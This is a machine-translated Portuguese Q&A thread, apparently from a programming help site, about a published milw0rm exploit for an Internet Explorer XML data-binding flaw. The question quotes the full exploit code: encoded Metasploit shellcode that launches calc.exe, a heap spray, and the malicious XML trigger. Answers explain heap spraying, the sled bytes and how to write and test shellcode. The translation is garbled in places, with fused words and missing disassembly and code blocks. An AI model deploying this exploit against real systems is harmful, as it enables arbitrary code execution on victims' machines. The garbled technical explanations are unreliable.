Normalmente não tenho dificuldade para ler o código JavaScript, mas neste caso não consigo descobrir a lógica. O código é de uma exploração publicada há 4 dias. Você pode encontrá-lo em milw0rm .
Aqui está o código:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Aqui está o que eu acredito que ele faz e eu gostaria que você me ajudasse na parte que eu entendi errado.
A variável shellcode
contém o código para abrir o arquivo calc.exe
. Eu não entendo como eles encontraram essa corda estranha. Qualquer ideia?
A segunda coisa é a variável spray
. Eu não entendo esse loop estranho.
A terceira coisa é a variável memory
que nunca é usada em lugar nenhum. Por que eles criam isso?
Última coisa: o que a tag XML faz na página?
No momento, tenho boas respostas, mas principalmente respostas muito gerais. Eu gostaria de mais explicações sobre o valor do código. Um exemplo é unescape("%u0a0a%u0a0a");
. O que isso significa? A mesma coisa para o loop: por que o desenvolvedor escreveu length < 0xd0000
:? Eu gostaria de uma compreensão mais profunda, não apenas da teoria deste código.
fonte
Respostas:
O shellcode contém algumas instruções de montagem x86 que farão a exploração real.
spray
cria uma longa sequência de instruções que serão inseridasmemory
. Como geralmente não podemos descobrir a localização exata do nosso código de shell na memória, colocamos muitasnop
instruções antes dele e pulamos para algum lugar lá. Amemory
matriz manterá o código x86 real junto com o mecanismo de salto. Vamos alimentar o XML criado para a biblioteca que possui um bug. Quando está sendo analisado, o bug fará com que o registro do ponteiro de instruções seja atribuído a algum lugar de nossa exploração, levando à execução arbitrária de código.Para entender mais profundamente, você deve descobrir o que está no código x86.
unscape
será usado para colocar a sequência de bytes representada da string naspray
variável É um código x86 válido que preenche grande parte da pilha e salta para o início do shellcode. O motivo da condição final são as limitações de comprimento da cadeia de caracteres do mecanismo de script. Você não pode ter cadeias maiores que um comprimento específico.Na montagem x86,
0a0a
representaor cl, [edx]
. Isso é efetivamente equivalente anop
instruções para os propósitos de nossa exploração. Onde quer que pularmos nospray
, chegaremos à próxima instrução até chegarmos ao código de shell, que é o código que realmente queremos executar.Se você olhar para o XML, verá
0x0a0a
também. A descrição exata do que acontece exige conhecimento específico da exploração (você precisa saber onde está o erro e como ele é explorado, o que eu não sei). No entanto, parece que forçamos o Internet Explorer a acionar o código de buggy, definindo ainnerHtml
string XML maliciosa. O Internet Explorer tenta analisá-lo e o código de buggy, de alguma forma, controla um local de memória em que a matriz existe (já que é um pedaço grande, a probabilidade de saltar para lá é alta). Quando pularmos para lá, a CPU continuará executando asor cl, [edx]
instruções até chegar ao início do código de shell que é colocado na memória.Eu desmontei o código da shell:
A compreensão desse código de shell requer conhecimento de montagem x86 e o problema na própria biblioteca da MS (para saber qual é o estado do sistema quando chegamos aqui), não JavaScript! Este código, por sua vez, será executado
calc.exe
.fonte
Parece uma exploração do bug recente do Internet Explorer para o qual a Microsoft lançou o patch de emergência. Ele usa uma falha no recurso de ligação de dados do manipulador XML da Microsoft, que faz com que a memória heap seja desalocada incorretamente.
Shellcode é um código de máquina que será executado quando o bug ocorrer. Spray e memória são apenas algum espaço alocado no heap para ajudar a ocorrer a condição de exploração.
fonte
A Heap Spraying é uma maneira comum de explorar coisas do navegador. Se você gosta, pode encontrar várias postagens como esta: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
fonte
Sempre que vejo memória que não é abordada em uma discussão de exploração, meu primeiro pensamento é que a exploração é algum tipo de estouro de buffer; nesse caso, a memória está causando o estouro do buffer ou sendo acessada quando o buffer está cheio .
fonte
Isso é do metasploit, significa que ele está usando um dos códigos de shell do metesploit. É de código aberto para que você possa acessá-lo: http://www.metasploit.com/
fonte
Consulte Codificações de caracteres em HTML .
São dados binários codificados como uma string, que o JavaScript está decodificando.
Forma comum de XSS também.
Você pode ver todos os truques de codificação aqui:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
fonte
Exemplo simples de shellcode
Olá mundo em assembly na & t sintaxe x86 eu acredito (Assistente em Treinamento).
configure o arquivo:
vim shellcodeExample.s
compile assim:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Agora você tem um binário que imprime olá mundo. para converter o binário em código de shell, digite:
objdump -D shellcode
você obterá a saída:
Agora, se você olhar na quarta linha com o texto, verá:
400078: eb 1a jmp 0x400094
a parte que diz
eb 1a
é a representação hexadecimal da instrução de montagem emjmp one
que "one" é o endereço de memória da sua string.Para preparar seu shellcode para execução, abra outro arquivo de texto e armazene os valores hexadecimais em uma matriz de caracteres. Para formatar o código do shell corretamente, digite a
\x
antes de cada valor hexadecimal.o próximo exemplo de código do shell será semelhante ao seguinte, de acordo com a saída do comando objdump:
Este exemplo usa C para a matriz. Agora você tem um código de shell que irá escrever no stdout "olá mundo"
você pode testar o código do shell colocando-o em uma vulnerabilidade ou pode escrever o seguinte programa c para testá-lo:
Para compilar o programa, digite:
correr com
./run
Você sabe que tem um exemplo de trabalho de desenvolvimento shellcode simples que foi testado no Linux Mint / debian.fonte
int 0x80
ABI de 32 bits no código de 64 bits. Ele falhará nas seqüências de caracteres na pilha, porque o kernel apenas analisa os 32 bits baixos dos argumentos do syscall. O que acontece se você usar a ABI int 0x80 Linux de 32 bits no código de 64 bits? . (Nesse caso, você criaria um loop infinito, porquesys_write
retornaria-EFAULT
emov $1, %al
deixaria os bits superiores definidos, para obter em-ENOSYS
vez de sys_exit). Além disso, no código de 64 bits, você pode simplesmentejmp
encaminhar a string e usar um parente do RIPlea
para obter o endereço, em vez de chamar / pop.const char payload[]
, então seria no segmento de texto (na seção .rodata) e você não precisa-z execstack
.)movl 4, %rax
contém um byte zero (e não será montado devido à incompatibilidade do tamanho do operando e falta um,$
portanto o 4 é um endereço absoluto). Acho que você postou uma versão inicial da sua fonte. Meus comentários anteriores são sobre a desmontagem na qual você adicionou umasys_exit
chamada.